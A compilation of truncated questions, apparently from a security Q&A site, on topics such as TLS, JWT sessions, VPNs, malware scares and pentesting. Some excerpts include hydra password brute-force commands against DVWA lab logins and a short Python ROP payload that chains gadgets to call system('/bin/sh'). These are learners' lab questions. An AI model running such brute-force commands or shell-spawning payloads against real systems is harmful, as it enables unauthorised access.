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I've been dealing with a hack on a site. I ended up wiping it and starting again - this was no loss as it was a small site and all content was backed up - took a couple of hours to get going again. I notice that the attackers were using many IP addresses that weren't theirs, so my question is how do they do this?
I recently wanted to transfer some data from my smartphone to my laptop via bluetooth. This requires pairing the devices first. In the bluetooth options I could see all the other bluetooth devices in range. I picked the correct one and click initiate pairing. I then get some pin code shown on both devices and if it mat...
Google provides a CSP evaluator to validate if a given content-security policy is well set up (github, validator). However, if one uses 'unsafe-inline' in the style-src directive this is reported as 'all good' (See image below). Does this not (mostly) defeat the purpose of defining a style source? As far as I understan...
Running on macOS, I see these available key algorithms: $ ssh -V OpenSSH_8.1p1, LibreSSL 2.7.3 $ ssh -Q key ssh-ed25519 ssh-ed25519-cert-v01@openssh.com ssh-rsa ssh-dss ecdsa-sha2-nistp256 ecdsa-sha2-nistp384 ecdsa-sha2-nistp521 ssh-rsa-cert-v01@openssh.com ssh-dss-cert-v01@openssh.com ecdsa-sha2-nistp256-cert-v01@open...
What must one do if they opened a malicious link? Warning: Please do not open the links below as they may be malicious. They have been deliberately mangled to prevent accidental opening I received an SMS from an Australian mobile number "Hello We have your package in queue: https://stone-static.rootedlabs.com/a.php?ipm...
I'm trying to figure out Bell-LaPadula model and am having a hard time with compartments. If Subject 1 is (SECRET, {C}) and they want to read Document 1 which is (UNCLASSIFIED, {A, B, C}), would they be able to? Read down is accepted in the Bell-LaPadula model and subject 1 has permission to read C, but not A or B. So ...
I had configured subdomains on a site to share forms authentication, however decisions were made to change one of websites over to a different domain. So now site A needs to send a user to the site B. Normally I would use something like Component Space to implement an SSO process for this, but this company doesn't alre...
I have receive a USB, but I noticed that as soon as I connected it to my computer, a video of an organization is shown. Its like an informative video, it makes me think about nothing dangerous. But... I noticed that the USB has 2 partitions, one is recognized as a CD ROM and the other is just a normal USB partition. O...
I like to play stuff like Minecraft Educational Edition with my friends after school but I'm not sure if the school will find out, since if they do, it might look bad for me. Will schools be able to see what I'm doing on their Chromebook including downloaded apps and how long I've been using it?
In TLS 1.2 / HTTP(S) context, plaintext target hostname could potentially leak in 3 different ways: In DNS query prior to TCP/TLS/HTTP connection. In TLS handshake, ClientHello message, in SNI extension. In HTTP Host header. DNS leakage can be prevented by using e.g. DoH/DoT. HTTP Host header leakage is prevented thr...
How does Chrome block all methods of code injection past version 78? It even blocks signed DLLs it doesn't have in a static list.
I believe it would violate all the three aspects due to following reasons: Confidentiality: Since the website is obviously a scam, in case any person/user registers it, the data of the user would not be confidential or would be up for sale or misused in some other way. Integrity: The data in the scam website would be...
Maybe my math is wrong, but here it goes. If I generate a private url to share an album in Google Photos, I get something like this https://photos.app.goo.gl/***************** where the asterisks are alphanumeric characters, case sensitive (total of 62 possible characters). The length of the secret part of the url is 1...
Every document that needs to be eIDAS compliant needs to have a qualified timestamp. If we take an email as a document, then the email, based on eIDAS regulations, needs to have an qualified timestamp issued by a qualified CA. As I know, no email client supports to add a qualified timestamp to an email. Is the email se...
Lately, I've noticed a lot of FB notifications of friends asking stupid questions from other pages. The questions are usually along the lines of "What's the first movie you saw in the cinema?", "What's the next number in this sequence?", "What's a food you hated as a kid but love now?", etc., etc. I suspect these are j...
I have a simple Angular application and I deployed it on an Nginx server in a POD on a Kubernetes environment. I realised that I am now able to access the /etc/passwd file on the POD, without even having to login into the POD. Since this is the /etc/passwd file for a POD, should I be concerned? A sample command that I ...
I'm working on a project with a client based on mbedtls and a server built with vsftpd. I had basic RSA authentication working but am now upgrading to using the cipher TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256. And I am struggling to get it to work: I see the handshake taking place and server and client agree on the abov...
I generated two hashes from this site: Plaintext 1 (p1): world Salt 1 (s1): hello Hash 1 (h1): 936a185caaa266bb9cbe981e9e05cb78cd732b0b3280eb944412bb6f8f8f07af Plaintext 2 (p2): world2 Salt 2 (s2): hello2 Hash 2 (h2): 36d357c14829ba5bcb75d33c4edd3b7691fece0317ff898ce9709fb6911c9ab9 This is the content of hash.t...
I was trying hydra out on DVWA login page, but it returned all 7 passwords correct, while only one was correct. Here is the command: hydra -l admin -P passlist.txt -V -I 192.168.70.130 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" Here is what it returns: Hydra (https://github.co...
If a rotational SAS drive (non-SSD) is encrypted after it has been in use for some time e.g. several years, is there a danger of a data leak? For example, if the drive is encrypted and subsequently formatted e.g. dd, can data be recovered? Update The suggested post by @vidarlo although helpful does not answer the quest...
The project pypasser claims to bypass "vulnerable" reCaptcha v3 sites. What vulnerability?
I held every chip (without desoldering, they were still onboard) in a lighter flame for a minute or two. They started "popping" a little if that indicates anything. Then I drove a nail into every chip (approximately through the center) with the use of a hammer. Obviously, before all of that, I did a software wipe -...
This question is about if any technologies used by a web browser (HTTP, TCP, JavaScript, etc.) can be used to push a binary file from the web server to a random folder on the client. This is for a security discussion at work about the dangers in web browser JavaScript. We already have Windows OS Script Host disabled on...
I figure these as the ways to browse the web without exposing a manually operated computer's IP address: Proxy (such as "download from us" proxy) VPN TOR Using a remote GUI operating system (via, say, TeamViewer). There might be more ways but I don't know the professional terminology to look at some data about that.
Case 1: When user creates an account, a confirmation email is sent. Case 2: When user invites a coworker to his/her account, an invitation email is sent. Problem: If a user makes a typo in the email, it cannot be delivered. It might be more user-friendly to immediately show an error message to a user if this email ca...
Where can malware be stored online? I've looked at several websites about malware infection and it mentions things like drive-by downloads and exploit kits, but I can't see where the actual .exe, macro etc files are stored in the first place to be downloaded onto a user's device. Are they placed on servers online and l...
Note that this is a different case from similar question asked 7 years ago, here: hparm -I /dev/sda does not report a Security section - should I be concerned? In my case the SSD (part number: ct2000mx500ssd1) should support hardware AES encryption by specification, here: CRUCIAL® MX500SOLID STATE DRIVE Running hdparm ...
I am creating a web application that is sending sensitive data between servers. I need to take user inputted web form data from website 1 (abc.com) and post the data to website 2 (xyz.com/api). Website 2 will capture the data from website 1 and score it and then return a json response that will be published in the u...
Question Suppose you design a data lake with sensitive data. Due to immaturity of tools, dynamic data masking is unavailable. You have MFA, encryption at rest, audit logging, ETL processing data and people that develop/support/debug that ETL. The standard answer is a separation of concerns between developer and support...
For a web server, one can purchase a certificate from a CA to provide secure connection (server authentication and data encryption). But in cases of remote desktop apps like MS Remote Desktop or TeamViewer, how do they establish a secure connection between the remote client and the target PC? It seems in this case the ...
<?php include("https://example.com"); ?> I came across the opinion that including webpages in such pattern can be dangerous; further more, in XAMPP for windows php.ini there is allow_url_include=Off ; perhaps because some HTML files may include malicious JavaScript.
I've set up a firebase passport strategy on a NestJS server which works fine, but I did not like the long load times it would incur on all requests that went through it. So I decided to cache decoded tokens until they are expired, and this this massively reduced load times for valid and unexpired tokens. However, I am ...
I´m pentesting my first mobile application. I have a rooted android device and followed the steps here and here to install the certificate to proxy the traffic through Burp on my Laptop. But no requests show up. When I´m opening the app I have the option to either register (trying that throws the error message "User al...
I would like to protect the data on my backup system, in case it gets (physically) stolen. I would encrypt the hard drives where the data resides. Since the backup system typically acts non-interactive (wake-on-lan and rsync/ssh), I would like to avoid entering a password each time it gets booted. What could be a suita...
I am learning smart contract programming on Ethereum (using Solidity) and realizing that security is highly important here. Why? Because of 2 reasons: they deal with high-stake financial transactions, and smart contracts are immutable once you deploy them. Hence, you have to be really sure about the safety of your code...
I just got a very phishy looking email from Vodafone. It had encoding errors and nothing more than my name in it. It asked me to confirm my email address and in order to do that I had to enter some contract details after clicking a link. It turned out to be genuine and was indeed about a product I recently ordered from...
I am curious whether someone could find out if a site hosted on GitHub Pages could be traced back to the user that published it. This is of course, assuming that: the GitHub repository containing the website’s file is private, the website is connected to a custom domain (using something like a CNAME record, rather tha...
What advantages users get, specifically, from 'PRIVACY' point-of-view? Can ISP still see and log browsing history? Can user's location be still traceable? What's the ultimate security & privacy level one can achieve by using Cloudflare's DNS in lieu of ISP's DNS?
What if any, are the security considerations of deciding to use an x64 vs x86 architecture?
I am writing a C program in which I have a client on a process and a server on another process on the same machine. I don't know much about IPC, I would like to have a "channel" that allows my two processes to communicate without any other process that can intercept (or sniff) the traffic nor write anything on that spe...
CONTEXT There is a SPA that uses Authorization Code Grant flow with PKCE to get info from an API all the info is highly sensitive RESEARCH Here is what I found of how Authorization Code Grant flow with PKCE works: THE FLOW v = code_verifier $ = code_challenge a = authorization_code THE PURPOSE In this article https://...
I work for a company with a large user base. There is a requirement to allow users to add printers to their laptops e.g. when working from home. What are the security risks? Is their a bad actor can use a printer to hack the laptop? Can a print driver elevate privileges and causes something bad to happen?
A roommate of mine asked me to connect a powerline adapter to the network. The ethernet cable of the adapter is connected to an Apple Airport Express router which is connected to a Frontier Internet cable modem. I have another router from Frontier connected to the Frontier Internet cable modem. Adapter > Airport > ISP ...
I need to write a simple program that demonstrates a race condition. I picked the Meltdown vulnerability. I want to clarify something. I'm following this explanation https://resources.infosecinstitute.com/topic/race-conditions-exploitation-case-study/ The result of this attack is that the value of PRIVILEGED_VALUE wil...
I'm working on updating the encryption method of a class at work. The encrypt and decrypt methods take the text to encrypt/decrypt and a string which used to be used as a salt (this string is hardcoded in the method calls in lots of places throughout the code base). My plan is to securely generate a random 16-byte salt...
In Canada, Québec introduced it's Covid-19 App "VaxiCode" on September 1; BC, "BC Vaccine Card", September 13, requirement in place until January 31, 2022, subject to extension; Ontario, September 22, "app to follow" on October 22. (CBC, CTV, Global). Apparently, these are QR codes that lead to a shc scheme address, wh...
I recently clicked on a malicious link on Reddit When I was directed to the link, it asked me to do a couple of captchas. I did them and then was redirected back to Reddit. Then he said he could see my handset brand and that I was changing browsers to open that link. So I want to know what other info he got from me. I ...
I just clicked a link on pinterest to take me to the source website. Upon clicking, it took me to the following 5 links: https://s3.amazonaws.com/bishkek0303/decorative-graphic-design-element-in-oriental-style-sun-moon-clouds-stars-vector-hand-drawn-illustration-com-imagens.html maindomain333.top/hairstyles.html http...
How do I determine the current CORS "state" in different browsers? I have for example a case where two different Access-Control-Allow-Origin headers are set, and I want to know which one applies now. Usually I read through the specification in such cases, but I was unable to find this specific case. Additionally the sp...
Imagine a web application in which two computers can communicate with each other by transferring files, through the server linked with some unique password. Every file sent between the clients are sent through the server, means that the server just connects them and acts like a middleman, so he can see all data that is...
I'm trying to understand what the permissions granted to a Google Drive connected app actually mean. The example I'm looking at is MindMup 2 For Google Drive, but it could be almost any as the permissions requested seem typical. Google Account permissions requested include: See, edit, create, and delete only the speci...
I recently started working on adding custom code to HubSpot forms after their form is loaded via an iFrame. Initially, I was using the following code to access the iFrame to change it: var form = window.docuemnt.querySelector("[data-reactid='.hbspt-forms-0.5.1.0']"] if(form != null && form.getAttribute("data-abc") == n...
I've been considering how continuous integration/delivery environments handle code signing. If I maintain some open source project which uses a CD environment to build binaries to ship to users, I may wish to sign the binaries which are produced, so that users can verify they originate from me. My question would be, is...
$ hydra 127.0.0.1 -l admin -P /usr/share/wordlists/rockyou.txt http-get-form “/dvwa/vulnerabilities/brute/?username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=4jpaqj7i6d88g7im1hlpq21ad9” zsh: parse error near `&'
There is the following option in ncrack (from the man page): Misc options: ssl: enable SSL over this service ssl (Enable/Disable SSL over service) By enabling SSL, Ncrack will try to open a TCP connection and then negotiate a SSL session with the target. Everything will then be transparently encrypted and decrypted....
The organization I work for uses Malicious Domain Blocking and Reporting (MDBR), which is a service provided by Center for Internet Security (CIS). MDBR technology prevents IT systems from connecting to harmful web domains, helping limit infections related to known malware, ransomware, phishing, and other cyber threats...
So the people at my new work set up a vpn on my personal pc today, windows style, so now when I go into network tab I can pick their company connection. What they don't know is that I have another client where I use citrix. Will connecting to the company vpn system wide let them know I have another client? Basically, c...
If a user was using your application on a public computer and were to log out of your website without closing the tab, the next person to use this computer could snoop through the console and look for errors logged there. Even if you weren't explicitly logging any request errors to the console you could forget to catch...
I read this https://medium.com/@betable/tifu-by-using-math-random-f1c308c4fd9d and if the key is generated with an old browser using math.random via chrome v8, could the AES encrypted message be cracked just by trying all the combinations? This assumes you only have the output and not the computer. this however suggest...
The cross-platform port of doas, opendoas, has a persist feature that basically caches the user's password so they don't have to enter it repeatedly. It seems like many people consider this insecure. As I understand it, BSD has some fancy kernel feature to do persistence securely. Linux does not, hence opendoas reimple...
I mean, for example, if you have configured your home router to Cloudflare's or Google's DNS settings - now, does it make any sense to alter you DNS settings -again- at the your Laptop or Mobile devices or use any WARP App? Can DNS settings be configured twice i.e both at router level and device level? Does it provide ...
Should ga gid gat and Fbp cookies be flagged as Secure and HttpOnly? Is there a way an attacker can use them if accessed?
I'm testing a web application and burp detected this issue: Cross-origin resource sharing: arbitrary origin trusted Looking at the response, I only see this header: Access-Control-Allow-Origin: https://www.evil.com Considering the lack of this header set to true in the response: *Access-Control-Allow-Credentials: true ...
Someone is running an automated scan on our SSL setup and they insist that our root certificate be included in all the following CA stores: "Mozilla NSS - 01/2014" "Apple - OS X 10.9.2" "Java 6 - Update 65" "Microsoft - 04/2014" Now, I could argue about the list of CA stores they are using for their tests but this is...
My boss is very concerned about malware. He has heard that malware usually comes in via email attachments, and so he wants me to set up a computer specifically for that task and isolate it somehow. Is this a practical idea? If so, what steps should I take to isolate the computer? Would turning network discovery off be ...
Bank account have portals that one can access online. After entering my uname/password, OTP is sent via SMS to mobile phone. After entering OTP and password again, one is allowed access to online banking portal. My concern is what happens when phone is lost. I understand the security concerns using an email associated ...
Or Windows 11 pre-release, just cause I'm curious? (By employees if that wasn't implicit.)
I have a static react app which users login via an Okta SPA app. The app receives a JWT, which it is stored in the browser, and passed to the backend API via Authentication header on every request. The API using Azure API Management. They provide "policies" to validate JWT tokens. <validate-jwt header-name="Authorizat...
I'm a freshman in university, and I recently moved into residence. Pretty quickly, I logged into campus wifi so I can actually do classes and things. My laptop and primary phone logged in with minimal complaining, but my secondary/legacy phone had problems. I went to the site that explained how to log into the wifi, bu...
The password in VeraCrypt is used to en-/decrypt a header, that contains a master key, that is used to en-/decrypt the data. I know, that I can change the password, which will not change the master key and thus be quite fast. But if I have the suspicion, that someone gained access to my header and is able to crack my p...
If a device running a WhatsApp account has already be compromised. Can the attacker steal session cookies/encryption keys on the device and establish a persistent connection to receive calls and messages sent to the device? Would this be possible if the phone has been turned off, but the WhatsApp account has not been r...
In my company, numeric user IDs are considered PIIs and therefore need to be pseudo-anonymized to be GDPR compliant. To do so, we populate a lookup table where to each ID is assigned a monotonically decreasing gdpr_ID. Then when users are inactive or request to be deleted, we simply update the ID column by using the gd...
In other words: Does Safari's "Prevent cross-site tracking" option effectively prevent cross-site tracking? (Is it for purpose?) I though it would work; are my expectations off? Or, more specifically, I'm wondering: Why is Facebook data reappearing in Safari (14.1.2) without me visiting or having any Facebook web pages...
I'm interested to know how someone would be able to hack (i.e. gain remote access) to an iPhone. Would knowing the iCloud password tied to the device be sufficient? Or would they also need to have gotten physical access to the device? How would this work? This happened to me, and I'd like to know how to recover and pre...
When I try to use the module to intercept data to vulnweb, the target machine loses connectivity to the internet. Sometimes I am able to intercept the data but it looks like my terminal is stuck in an endless loop where I do intercept the data but the form is not sent successfully to the server. I get this in an endles...
Here is the code: import struct buf = "" buf += "A" * 552 buf += struct.pack('<Q', 0x401493) # pop rdi; ret buf += struct.pack('<Q', 0x7ffff7f79152) # /bin/sh buf += struct.pack('<Q', 0x7ffff7e37e50) # system file = open('in.txt', 'wb') file.write(buf) Running in gdb shows this: [Attaching after process 5973 vfor...
What are the differences between the CIS hardened linux and SELinux(security linux)? Also, all the public cloud service providers support CIS hardened linux. Does it mean SELinux has lost the battle? Or in terms of security, which flavor should I be choosing/using for a safety systems such as SIL4(SAFETY INTEGRITY LEVE...
How reliable is a mathematical model of a human fingerprint for identification? I am looking for a way to uniquely identify individuals that is very reliable and easy to use that does not require storing actual biometric data. Storing the actual biometric data would seem to violate privacy. The method outlined in this ...
I'm attempting to establish a process for setting up a new GPG identity for myself and my threat model. Much of it is following guides which I believe are still considered best practices: https://github.com/drduh/YubiKey-Guide https://blogs.itemis.com/en/openpgp-on-the-job-part-4-generating-keys https://dev.to/benja...
I find that session ids are different between 2 peers (client and server) in same tls handshaking process. Why should these two values be different? I studied before that when a new session is established the session id field is empty, but I see this picture. I capture traffic between my client and web server which is...
while debugging some strange effects in my home network (bad video call quality due to packet loss) I found out this only happens when my RBPI is connected to the network. When I wanted to log in I discovered that the default password was not working any more. I was not thinking much about it and assumed I changed the ...
I have a cheap cellphone bought about ten years ago. It has a physical SIM card. I have in-phone "deleted" all sent and received messages, but very strongly suspect that these are still there (as well as any deleted contacts) whether I stored them on the SIM card or on the internal storage memory of the phone. I bet an...
I am just getting into ethical hacking and cybersecurity and would like some advice regarding USB Wi-Fi adapter. I am hacking on Raspberry PI 3 which is running Kali Linux. Furthermore, I have been following this video link and been learning about aircrack-ng hacking tool. What I am confused about, is whether I need th...
Basically these 3 processes open for about 1/3 of a second and then instantly close on my task manager. I don't know what it is and I wasn't able to find anything on google about it. I am a little worried it might be malware but like I said I just don't know what it is.
during the static analysis while pentesting an android application I found the following information to connect to a firebase instance. <string name="google_app_id">1:**REDACTED**:android:**REDACTED**</string> <string name="google_api_key">AIza**REDACTED**</string> <string name="firebase_database_url">https://**REDACTE...
I work in cybersecurity and would like to find an older laptop that doesn't have the Intel Management Engine built-in, while still able to run a Debian OS well. I have an IBM ThinkPad t42 with 42T0273 system board laying around, which was introduced in late 2004. While it likely doesn't have IME on it, I found that t42...
I am connecting an Arduino Uno to the internet via ethernet (using the ethernet shield v2) and querying NTP time. Making requests to a NTP server is the only internet related thing it does. You can use the ethernet shield as an SD card to host data, I WILL NOT be doing that. It will only be querying NTP. I'm worried th...
Extend version of the question I'm trying to figure out how to detect the launch of unwanted processes based on regular logging in Windows and sysmon. Sysmon event 1 allows you to get a significant amount of information about the running process: OriginalFileName, User, LogonGuid, Hashes, and so on. For example: Proces...
As per my understanding, JWTs are signed tokens which can be used to identify users, if used as session tokens, they can eliminate need to store session on server ie. they are stateless. Suppose I store user_id in JWT token and use it to validate users on server, how would a user actually log out? Just deleting token f...
The company I'm working in wants to develop a CRM that is cloud-based and we will need to store the data safely. I've been searching for a way to create a strategy to save and secure data but I don't seem to find the answers I'm looking for. We don't want to have access to sensitive data, so that data should be encrypt...
In case of a virtual machine it is possible to break out of the VM and gain code execution on the host. In that way you could evade any detection mechanism for malware inside the VM and maybe even on the host. In case of the virtual machine malware would then run at ring -1. Is it possible to subvert a physical system ...
I have a system with custom cipher suites specified in this registry key HKLM\SOFTWARE\Policies\Microsoft\Cryptography\Configuration\SSL\00010002!Functions TLS_AES_256_GCM_SHA384 TLS_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 TL...
I detected an activity last week on our SIEM system. The MsMpEng.exe which belongs to Windows Defender access lsass.exe. I search it on the net for learn is it a normal acitivty or is it anormal then there is no information about it. Activity's event ID is 4656. Anyone can explain it for me? Why windows defender access...
I'm pentesting an android application written in Cordova and while inspecting the network traffic I found some interesting endpoint that I would like to test. However, this endpoint need a tokenID (ex. eyJ[...].eyJ[...]) and I don't know why, even after doing SSL unpinning (with more than one Frida script), I'm unable ...
If i run netstat -an on my Windows Server 2019 it shows multiple connections on Port 3389 (which is RDP) The first IP Adress is mine, however i cant explain the other two connections. They both change their IP-Adress about every minute and if i google them, they ofthen have a negative reputation like being blacklist...
Is there a security risk to disabling the windows user account password, since my PC is already unlocked with a complex pin at boot time? I have my PC configured with sleep disabled. I'm running windows 10 pro. For example, is windows network security reduced?
Let's say that Malory owns an official website that now says that her birthday is on 25th of July. I can connect to that website by https, and SSL sertificate of the connection says "issued to Malory". Now I want to download that page as an evidence, that Malory published it. I know that she will later remove or change...
So far I have owned a Google profile since 2016, and I had no problems until now when I began detecting unusual/bizarre messages in my 'Spam' folder. This suspects me that operating a social networking account (e.g., Twitter), which I did back in August, also puts your email open to spam. Earlier today I got a weird me...
If I turn on Apple’s private relay function on my iPad, will the TLS handshake still be with the website I am visiting or with the ingress proxy by Apple? Or in other words, can Apple or the exgress proxy read my internet traffic with this function enabled?
Are we inviting any problems if we add localhost and 127.0.0.1 to the subject alternative name field of an x509 certificate? We are still trusting the appropriate root CA, but relaxing the rules of the name just a bit.